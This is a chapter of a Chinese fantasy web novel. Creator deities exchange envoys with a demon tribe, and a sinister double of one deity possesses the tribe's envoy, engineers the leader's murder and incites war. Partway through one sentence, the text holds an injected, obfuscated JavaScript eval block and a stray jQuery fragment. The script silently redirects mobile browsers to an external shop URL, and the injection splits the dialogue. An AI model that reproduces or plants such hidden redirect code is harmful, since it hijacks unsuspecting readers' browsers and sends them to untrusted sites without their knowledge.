“这个世界看起来一切都是如我们所愿发展的。”
“希望永远是这样呢。可是万物都在变化着,我们也一样。”
潇静躺在床上,看着天窗外面皎洁的月光。月光像水一样漫进来,把她的脸照得半明半暗。她在思考着,脑子里像有一团理不清的线。
由于人数呈指数级发展,中央大陆的人口越来越多。人们开始在附近建立自己的城市,并形成了自己的种族。白天是劳作的声音,夜晚是篝火与歌谣。一切都在生长,像一片永远不会停下来的森林。
“阿赫玛尔,你有没有觉得,我们离当初的理想有些偏离了?”
“我并没有这么感觉到。话说我曾经在北方,看见了一个仿佛不属于我创造出来的人形生物。有空的话,能帮我去看一下吗?”
“没问题。跨越整个大陆,只需要短短的几分钟便可。”
“你的力量也是越来越强大了。那你为什么不造出一些自己的子民呢?”
“对不起,这不是我力所能及的事情。有可能我的诞生,就是为了毁灭,为了维系你创造出来的平衡。”
“好的。晚安,明天再说吧。”
“嗯,祝你有个美梦。”
两个人彼此依靠在一起,进入了梦乡。阿赫玛尔的呼吸很快变得均匀,像一条安静流淌的小溪。可潇静在旁边却怎么也睡不着。她睁着眼睛,望着天窗外的月亮,那月亮白得有些刺眼。
自己慢慢想到,如果不是阿赫玛尔创造出来的生物,那就有可能是原本生活在这片大陆上的生灵。那我们这样做,是剥夺了他们的利益?还是选择共存?
早晨,太阳已经挂在了半空之中。四周的人们也开始辛勤地劳作,跟作着作物。田地里有说有笑,像每一片叶子都浸着光。
“早啊,看起来昨晚没睡好。”
“确实没睡好。”
“你在想什么呢?”
“没想什么。哦,对,我今天得去北方看看。你不跟我一起吗?”
“那就不了。创造出来的人民还指望着我去指引他们。”
“文明的发展需要人们自己去探索。见好就收吧,不然会走上与你相背的道路。”
“谢谢你的提醒,我知道了。注意安全。”
潇静穿上了简单的风衣,向着北方走去。风衣在风中猎猎作响,像一面没有颜色的旗。
随着一阵空气被突破的声音,很快潇静便来到了阿赫玛尔口中所说的地方。
但四处看了看,却没有任何的人烟与植物。放眼望去,只有干裂的土地和几丛枯黄的草,连鸟都不愿在这里多留。
“这种地方怎么可能会有生物生存下去?简直是天方夜谭。”
突然,四周犹如沉静的水面被突如其来的一块石头打破了宁静。声音像从地底钻出来的,沉闷而悠长。
“什么声音?号角声吗。”
许许多多的魔族人拿着长矛冲了上来,所有的矛头都指向潇静。他们的脸藏在阴影里,只有矛尖在阳光下闪着冷冷的光。
其中一个穿着金属铠甲的魔族人走了出来,看上去像是他们的统治者。他的铠甲已经旧了,上面布满了刀剑的痕迹,却擦得很亮。
“是外来者吗?我叫奥尔加特,是他们的首领。能回答我几个问题吗?”
潇静观察了一下面前的人。有些衣衫褴褛,似乎很长时间没有进过食,颧骨高高突起。还有一些身体强壮,像是特别锻炼过的。面前那位首领,在他们面前似乎很有威严。所有人的目光都落在他身上,像在等一个信号。
“可以。”
“好,爽快的回答。我以为自古以来,这片大地上就是我们的土地。没想到在某一天,我的子民亲眼目睹了其他人的到来。他们一个个拿着武器,想要开拓疆土的意思。”
“然后便拿着手上那锋利的剑,刺伤了我们的族民。我不想以这个事情作为战争的开端。我们并不畏惧战争,千百年来,我们种族之间也发生过大大小小的战斗。但是面对一个陌生的人,我们的心是在一起的。”
“所以我想请你做出个解释。应该是他们的领袖吧。”
潇静坦然地说:“很抱歉,我不是他们的领袖。你所说的这件事,有可能是真的发生的,但我没有亲眼所见。现在我是抱着友好的态度。请问你们最初是怎么诞生的?”
奥尔加特将长矛插在地上,说:“根据我们的纸上记载,我们的祖先是从一颗特殊的石头里面诞生的。这颗石头是祖先给予我们的恩赐,它可以赋予我们力量,同样也保佑着我们的子民。”
“嗯。那你现在想怎么办?”
“想派一个特使前往你们那边,看看你们那里的环境。我们彼此的种族想交流一下,你看行吗?”
潇静观察了一下四周。现在她并不知道对方的元技强度是怎么样的,但能隐约感觉到,实力都不怎么样。他们握着长矛的手在微微发抖,不知是紧张还是寒冷。
“那也好。我也同样向你们这边派一个特使吧,作为交换怎么样?”
“当然可以,美丽的女士。”
就这样,潇静回去跟阿赫玛尔诉说了事情的整个过程。
阿赫玛尔说:“你觉得要派谁去呢?”
“我想想……嗯,派雅特利亚斯去吧。她作为我们俩创造出的第一个人,学识也并不比我们差,就让她去吧。”
“挺有道理的。那么,那些魔族人派来的特使呢?”
“那应该还在路上吧。”
不一会儿,房门就被轻轻的声音敲响。潇静拉开了门,看到了一个穿着裙子、脚上别着鲜花的女子。那花朵还带着露水,像刚刚从某个清晨里摘下来。
“你们好呀。我是奥尔加特派来的特使,我叫雅尔贝德。”
“你好,我叫乌洛波洛斯,她叫阿赫玛尔。”
“很高兴认识你们。那么从今天开始,我就作为交换,来体验一下你们这里的人文风情。”
阿赫玛尔笑了笑,说:“十分欢迎。希望在我们这里过得愉快。”
雅尔贝德点了点头,开心地递上了来自那边的特产。是一个半透明、夹杂着黑色闪烁的石头。那石头在她手心里发着幽微的光,像一颗被凝固的夜。
潇静问道:“这个是石头吗?”
“嗯,是来自我们那边的黑曜石。我们那个部落有一个很深很深的矿洞,在最里面生长着黑曜石。我们经常把它送给年长者,或者是最友好的朋友。”
“谢谢你的好意。我带你四周转转吧。”
“嗯,谢谢你。”
潇静带着雅尔贝德慢慢走出了房门,往南边慢慢走着。一路上,人们在辛勤地耕作着。有的在种植一些可食用的果蔬,有的在培养一些翠绿的树木。风里混着泥土和青草的气味,又暖又厚。
雅尔贝德开心地说:“你们这边的人民一个个都这么勤奋,还有这么美味的食物。”
“那么你们那边呢?”
“哦,我们那边只能吃来自土里生长的一种东西。在我们的西边有一个泥潭,里面冒出来的小球是可以食用的。虽然没有味道,但是很管饱。”
“那到时候给你们一点种子好了,可以改善一下你们那边的伙食。”
“真的吗?那太谢谢你了。”
“我们派过去的那个特使也应该快到了。希望她在那边不要太挑食。”
“哈哈。”
雅特利亚斯此时也走到了魔族人部落的附近。一个在侦查的魔族人发现了她。
“喂,你是从哪里来的?是派来的特使吗?”
雅特利亚斯点了点头。魔族人一看是派来的特使,便拿起手上特制的笛子吹响了声音。笛声在空旷的荒地上传开,像一只看不见的鸟飞向远方。
不一会儿,几个魔族人就走了过来。
“你好啊,原来是个女孩子。一路上辛苦了吧?”
“也不辛苦。来这里已经花了十几分钟。”
“这么快吗?话说我们那个特使应该还要走点路吧。不过这都没事,我们的首领想见你。”
“那么请你带路吧。”
雅特利亚斯跟着魔族人慢慢走到了营地里面。虽然建筑不太美观,但是里面却打扫得十分干净,体现出了每个人都很严谨。每一块石头都摆放得整整齐齐,像在无声地宣告着什么。
奥尔加特慢慢从椅子上面起来,看着面前小小的雅特利亚斯。
“你就是派来的特使?不过我们这里的住宿条件有可能不太好,也请你见谅。”
“没事的。我在你们这里看到了每一个人都在负责着自己要干的事情,而且屋里屋外都打扫得十分干净。”
“居然第一次得到了别人的评价。毕竟我还不是这里最干净的。”
“没事的。我想看看你们这里的风土人情。”
“好呀,那我带你去看看吧。”
雅特利亚斯慢慢跟着奥尔加特走出了营地。她看见周围的人们都在建造着土楼。那些土楼不高,却稳稳地立在风里,像一群沉默的卫士。
“平时他们都住在这里面吗?”
“是的。因为这里有时候风会特别大,但这里的土也特别疏松。所以说刚夯实的土过不了几天又会被吹散,又得重新去造。但是每个人都憧憬着,都会把自己家里的沙尘给打扫干净。”
“那你们的食物一般吃什么呢?”
说完,奥尔加特便从口袋里面掏出了一个圆形的小球。小球淡黄色,表面坑坑洼洼的。
“尝尝吧,有可能会没有味道。”
雅特利亚斯接过那淡黄色的小球,轻轻放入嘴中。虽然没有什么味道,但这种小球是空心的,四周的外壳十分酥脆,轻轻一咬就碎在嘴里。
“这当做一个点心很好吃。可以加一点糖,就会变成甜食呢。”
“可我们这里没有调料。如果你想吃辣的话,可以从土壤里面筛选出一种辣辣的矿物,但是吃了不消化。”
雅特利亚斯说:“我们那边有许许多多的食物。如果还方便的话,可以给你们带点食物的种子,你们可以一起去耕种。”
“谢谢你的好意。不知道我这肠胃能不能习惯呢?”
雅特利亚斯从背包里面掏出了一个蔬菜卷饼。饼还微温,散发着新鲜蔬菜的清香。
“你尝尝。”
奥尔加特接过了卷饼,放进嘴中细细品尝。美味的味道直冲心灵。蔬菜的清香和清脆,配上刚煎好的面饼,里面夹杂着一些沙拉酱。那种味道像一道光,照亮了他从未被触碰过的味蕾。
“哇!太好吃了!居然世界上会有这么好吃的食物!我一定要将这个食物记录在族谱里面,是我这辈子吃过最好吃的。”
雅特利亚斯尴尬地笑了笑,说:“没事,还有很多。如果你要的话,下次给你做很多。”
“真是一个圣女。我挺向往你们那边的生活的,但是我也要为我们的族民做一个榜样。面对所有不好的事物,去看它的另一面,总会有惊喜等着。”
“你是个伟大而又成功的领袖。我很敬佩你。”
突然,四周好像有铁器在碰撞的声音。一个魔族人推开了围观的人群,拿着自己磨制的小刀捅向雅特利亚斯。他的眼睛里燃烧着疯狂的恨意,像一头被逼到绝路的野兽。
雅特利亚斯没有反应过来,身体就被小刀给刺入。剧痛从腹部蔓延开,像有人把一块烧红的铁按进了她的身体。
随后,奥尔加特一只手将面前的人摁在了地上。他的手臂像铁箍一样,让那人动弹不得。
“想干什么!你为什么要伤害特使?她有做过什么对不起你的事吗!”
男人被压在地上喊着:“该死的外来人!就是因为你们,我儿子才会死去!”
雅特利亚斯紧紧捂着腹部,缓慢地站起来,说:“为什么?难道我们的人民伤害了你的儿子吗?”
“还用你说吗?!该死的外来人,你们那刀上到底留着什么东西!我儿子的伤口迟迟没有愈合,在我的面前死去!你要用血来偿还!”
奥尔加特说:“我也在等个解释。当时我们两族并不认识,就像我们面对未知的猛兽一样,都会先将它当做敌人看待。这件事情我很抱歉,但是你不应该对不属于你的敌人发火。”
“你这个狗屁首领!你的心里难道就没有一点荣誉感吗?一个外来的人明显就想抢占我们的土地,霸占我们!我们还要继续这样吗?”
“你说错了。我们彼此怀揣着友好与交流。至于那个刺伤你儿子的人,特使女士,你能帮我寻找一下吗?”
雅特利亚斯说:“当然可以。我会帮你找到凶手的。”
奥尔加特点了点头,说:“你的伤口没事吧?我们这边的人受伤了,只能靠自己愈合,没有其他的东西了。”
“没事的,伤口也不太深。我自愈能力还是可以的。”
两个人在对话中,雅特利亚斯的伤口也慢慢愈合了。那道刀伤像被时间一点点抹平,最终只留下一道极淡的痕。
随后,雅特利亚斯便告别了部落,返回了家中。雅尔贝德也参观了所有的地方,同样返回了自己的部落。
此时正走在路上的雅尔贝德,正在欣赏着阿赫玛尔送给自己的花。五颜六色的花瓣点缀着美好的幸福,可那花茎上的刺,她没有注意到。
潇静则一个人在房间里面封闭着自己。她感觉自己的身体有点不太受控制。也许会有另一个思考,在影响着自己。那感觉像有另一双手,从她的身体里面往外推。
“怎么回事?我的手,我的手。”
自己的右手不受控制,在前面幻化出了一个黑色的泥球。泥球滚落在地上,变出了人形。黑色的人影看着潇静,像在端详一件物品。
“你是谁?”
“我是你创造出来的。我当然是你呀。”
泥球慢慢长出了手臂,面部逐渐扭曲。过了一会儿,变得跟潇静一模一样。那张脸,那双眼,那微微上扬的嘴角,像从镜子里走出来的一样。
“你自己办不到的事情,想要维持这个世界的平衡,那就让我替你做吧。”
“你无权代替我!”
“没事,会让你看清楚的。”
潇静在一瞬间便失去了踪影,只留下了潇静在房间里面。
“完了,我有不祥的预感。”
雅尔贝德看着面前的黄沙,里面逐渐呈现了一个人影。她以为自己遇到了部落里的族人,便朝那边挥了挥手。
“你好呀,我回来咯。”
潇静从黄沙里面慢慢走了出来,说:“雅尔贝德,参观得怎么样呀?”
雅尔贝德疑惑地说:“不是你带我参观的吗?我很开心,还收到了礼物呢。不过你为什么会在这里呀?”
“哈哈,因为我是来维持这世界平衡的。对不起,你将作为第一个献身者。”
“什么?!不要!”
潇静化为了一滩泥水,逐渐融入了雅尔贝德的身体里面。泥水从她的口鼻、耳朵、眼睛渗入,像一条条黑色的蛇。
“好戏要开始了。”
此时,潇静也跑到了阿赫玛尔的身边,说:“不好了!我的力量不受控制,并出了另一个我!我感觉有不好的事情要发生了!”
阿赫玛尔说:“怎么会这样?难道……难道灾难要来了吗?不,那也不是。你是为了维系这个世界的平衡,有可能存在你身体里的那个力量,看不下去了,才会自己出来。”
“可是我,可是我并不想这样。”
“所有的事情都会有两面的。跟阿尔提奥说吧,让他们准备战斗。”
“我了解了。希望不要发生。”
此时,雅尔贝德走到了部落里。她的步伐很慢,像在丈量着什么。她第一个走向之前儿子被杀的那个人的家。
“哦,请进。”
“哎呀呀呀,自己亲爱的儿子被外族人给刺死,你的计划也并没有成功。难道你就就此堕落了?马尔特。”
“雅尔贝德?你在那里参观完了吗?是不是那边的外族人都很坏?”
“是的呀。那边人们就一天到晚贪图享乐,以武力想要争夺自己的领土,马上就要将我们的部落给摧毁了。”
“我就说嘛!那个傻子领袖还是那样,被外来人给蒙在鼓里。你有什么计划吗?”
“我的计划是这样的,慢慢说。”
听完以后,马尔特说:“不行呀,那可是领袖。就算我骂他再傻,他依然能带领我们生存下去。不可以杀了他。”
雅尔贝德突然脸色一变,说:“既然好心好意让你作为我第一个信徒,算了,就让你做我第一个奴仆吧。”
“什……么。你……”
“我命令你,将奥尔加特引出来。而我会跟其他的人们说,你要为这次行动付出生命哦。这样就可以延续战争,就可以让这个世界变得更加完美。”
“是……你说的对。”
马尔特的眼神暗了下去,像一盏被吹灭的灯。
晚上,马尔特慢慢走进首领住的房屋。
奥尔加特正在思考着如何巩固房屋,看到马尔特走了进来说:“白天的事情你不要往心里去。我们现在族人很少,缺一不可。我们都要将自己的力气去造福他们,延续我们的后代。”
“没错。我那个可怜的小房子塌了半天,你能跟我一起去修理一下吗?”
“可以,可不能让你晚上被大风给吹醒。”
两个人向着小房子走去。夜晚那明亮的月亮,却被乌云给笼罩着。风从荒原上吹来,带着一丝不易察觉的凉意。
走进了房子里面,马尔特说:“我去拿一下工具,你等我一下。”
“好的。你这边塌得有点深,看来得花一个晚上搞定它。哦,走出来了,雅尔贝德,你身上的体香,我到现在都忘不了。”
雅尔贝德慢慢走了出来,说:“不愧是首领大人,现在才发现我。”
“说话怎么变得怪怪的?况且你有自己家不回,待在马尔特家干什么?难道你们俩产生了什么情感吗?”
“哈哈,你说笑了。”
“在那里过得怎么样?”
“很好。托你的福,我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17894649|212817||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
现在可以改变我们两族之间的矛盾了。”
“哦,是吗?那你会怎么样改变呢?我们可以探讨一下。”
雅尔贝德脸色突然阴沉下来,说:“那就是杀了你哦。”
“什……”
突然,马尔特抡起镐子,向着奥尔加特头上砸去。那一下用尽了他所有的力气。血液飞溅四周,像在墙上开了一朵暗红的花。
看着地上已经没有了生命的奥尔加特,雅尔贝德在旁边开心地鼓着掌,说:“干得不错,马尔特。你的任务已经完成了。是让我杀了你呢,还是自己解决?”
马尔特说:“能死在您的刀下,是我的荣幸。”
“我可没有教你说这句话哦。不过你这么想的话,那就满足一下你吧。”
说完,雅尔贝德手上幻化出一把长刀,在一瞬间解决掉了马尔特。马尔特倒下去的时候,脸上还带着那种诡异的、心甘情愿的表情。
“那么,这场戏幕的开端很完美。马上要迎来高潮,各位观众敬请期待。”
雅尔贝德跑出了房子外面,大喊道:“快来人!快来人啊!首领被杀了!快来人!”
众人纷纷从睡梦中惊醒,一个个赶往了马尔特家旁边。他们看见了倒在血泊里的奥尔加特,和一旁已经死去的马尔特。
一个青年的魔族问道:“奥尔加特平常对马尔特特别关心,时不时多上门去慰问。这种小人居然能干出这种事情,太令我们可耻了!雅尔贝德,你是怎么知道的?”
雅尔贝德说:“我当时刚刚从那些外族人那边回来。在那里受尽了欺负,被别人给冷眼旁观,说我是个低贱种。回来的时候,便看到屋里发生了震动。我赶来,就看到了首领死在了地上。”
“那么,马尔特是怎么死的?”
“他自己怕受到我们的众审,自己畏罪自杀了。”
“原来是这样。雅尔贝德,你刚才说被那些外族人给冷眼旁观。那些外族人看起来就不像好人。”
“对呀。他们说我们魔族人只配给他们当奴隶。”
“什么!难道今天派来的使者是假惺惺的吗?我们的首领居然被她给骗得团团转!鬼知道她给的那个叫什么蔬菜卷饼,里面是不是放了毒药!”
另一个人附和道:“是啊是啊!我们一定要去报仇,为首领复仇!”
“那我们现在该怎么选一个首领?我们众人投票吧!”
雅尔贝德说:“我亲自去过那里,那边的地形以及人文我都十分熟悉。”
众人想了想。之前雅尔贝德在部落里面也很勤快,为人和善,并且乐意帮助他人。
“我投雅尔贝德一票。”
“我也是。”
“我也赞成。”
在众人的选举之下,雅尔贝德以压倒性的优势成为了首领。
一大早,雅尔贝德便站在了土堆上面演讲着。她的声音清亮而有力,像一把刀划开了清晨的雾。
“感谢大家对我的肯定。我一定会不负众望,带领我们族人去打败那些外族人!不能让那些外族人把我们给当成只会干苦活的奴隶!我们不能为他们卖命!我们是这大地上最纯净的血统,那些只是外来者。我们一定会胜利的!”
四周的魔族人响起了欢呼雀跃的掌声,纷纷在高喊着雅尔贝德的名字。那声音像潮水一样,一浪高过一浪。
雅尔贝德示意了一下,四周的众人慢慢停下了声音。
“嗯,我相信各位大家是十分有斗志的。但是我们现在的人数十分稀少,与那些会创造之法的人相比,我们还差得太远。所以我们也要运用自己的元技,去培养一些能为我们作战的魔物。”
“那么,怎么培养?”下面的一个人说。
“我亲自看过那些外来人怎么示范的。我们将要用他们引以为傲的事物打败他们,让他们知道自傲的代价。”
“好!说的对!要让他们付出代价!”
四周再一次响起了排山倒海的响声。每一张脸上都写满了狂热,像被点燃的干柴。
“那么,从现在开始,我们的目标就是那些外来人。加油,各位。”
一个月过后,潇静从房间里面慢慢走了出来,看着阿赫玛尔自己栽种的苗圃。那些花已经开了,红白相间,在风里轻轻摇摆。
“花朵又盛开了。只感觉跟之前相比,没多大的变化。”
“怎么了吗,乌洛波洛斯?感觉你这一个月以来心情都不好。往好处想想吧。”
“没用的。灾难总会到来,我们不得不去面对。我们的士兵培养得怎么样了?”
“阿尔提奥和玛门两个人已经培养得不错了。以我们这些兵力的话,战胜他们有很大的优势。”
“雅特利亚斯呢?”
“她呀,还在房间里面钻研着自己的元技呢。不用去打扰她,过不了多久,她自己也会出来的。”
“我只是担心。我怕我创造的那个东西会迎来灾难。”
“我能理解你。有可能同样也是违背了自己的内心,或许是违背了上天定下来的规则。我们俩有可能会成为对立的,但是你杀了我也不要紧。因为我的愿望寄托在我们的子民身上,他们会替我们活下去的。”
“阿赫玛尔,到了抉择的那一天,你还是会这么说吗?”
“我会的。这句话我不会改变。因为我曾许诺过我们的子民。如果没有我们的引导,你可以代替我看看他们吗?”
“我答应你。永远,直到世界毁灭,直到我消亡殆尽。”
“拉勾吗?”
“这是什么?算了,拉勾吧。”
“拉勾上吊,永远永远不许变。”
“嗯,拉勾上吊,永远永远不会变。”
就这样,两个人在夕阳下立定了契约。她们的影子被拉得极长,像两条通往不同方向的路。迎接她们明天的,又将会是什么呢?
此时,在前往索姆卡的路上,萨麦尔说:“利维坦,你下定决心要跟我走吗?”
“对。我还想见见你那朋友呢。一个能亲手夺走阿萨兹勒性命的人。”
“你说潇静呀。她现在估计还在虚空里面呢。我们所做的一切都是为了救她,还不是跟之前一样。”
“在宫殿里面的那件事吗?当时我早已离去。知晓我身份的人只有贝利亚,但他被撒旦给活活掐死了。我感知到有很强大的力量从那边传来,但我知道与你们众人为敌,我的胜率几乎为零。”
“你渴望打败我吗?”
“刚刚不是打败了吗?”
“哈哈,我好像比之前心平气和很多了,没有一来到饭桌就掀桌子。我的力量也在慢慢减弱,唯独积累愤怒,我才能运用更多的力量。”
“你为了友情可以舍去自己的力量。可我想找到我母亲的真相。”
“一定会的。作为我未曾谋面的亲人,我也很期待,她为玻利瓦尔做的一切,还有我父亲的往事。”
“只不过他们看起来比起现在也无关紧要了。好羡慕啊,好羡慕。”
“你又在积攒自己的力量了。”
“没办法,这是我的病根。只有嫉妒他人,才能获得力量。”
“终有一天,我们将放下身边的一切。我好想在那个天空岛上面,欣赏着无边无尽的光芒,就像朝暮在我身边一样。”
“那个天空岛的创造者吗?听说她十分勇敢,而且凭着自己的实力创造的。在永恒之塔的时候,是不是死去了?”
“嗯,她是个伟大的战士。我们将永远缅怀她。她也是我目前为止最敬佩的一个战士。”
“她现在应该安详地在故土里沉睡着。”
“你觉得有人会把死了一次的人给挖出来,再将它复活吗?”
“不知道。但我感觉只有心理变态的人会干出这种事。”
“那个在潇静体内的精神,就是这样的。那个伟大的战士,叶莲娜,赫默,若心,全都是拜她所赐。”
“若心这名字我好熟悉。很熟悉,很熟悉,十分熟悉。是个少女吧,身上是不是布满着元石?”
“你怎么知道?她之前是个杀手。”
“我曾经与她有过一面之缘,并跟她交过一次手。只可惜她的行动实在太快,我们所保护的一个女孩还是被她给取走了。”
“赫凛吗?那个贵公司的女孩。”
“你居然也知道,看来若心跟你讲过。我曾经在那个公司里面担任贴身保镖。可是自己的实力仍然太弱,从竞技场里面逃出来之后,就被那些黑衣人给追杀,就假装是个贴身保镖才能获得安宁。”
“你也过得够不容易。继续走吧!”
四周的石子都在震动着,像有什么巨大的东西正从远处靠近。
利维坦说:“劳伦缇娜,你是不是又发动了什么能力?”
“没有呀,刚刚什么事也没干。”
利维坦向着四周看去,看见一片黑压压被控制的维多利亚人,朝着自己冲来。他们像潮水一样,沉默而汹涌。
“看来我们有活要干了。”
萨麦尔说:“正好可以活动活动。来吧!”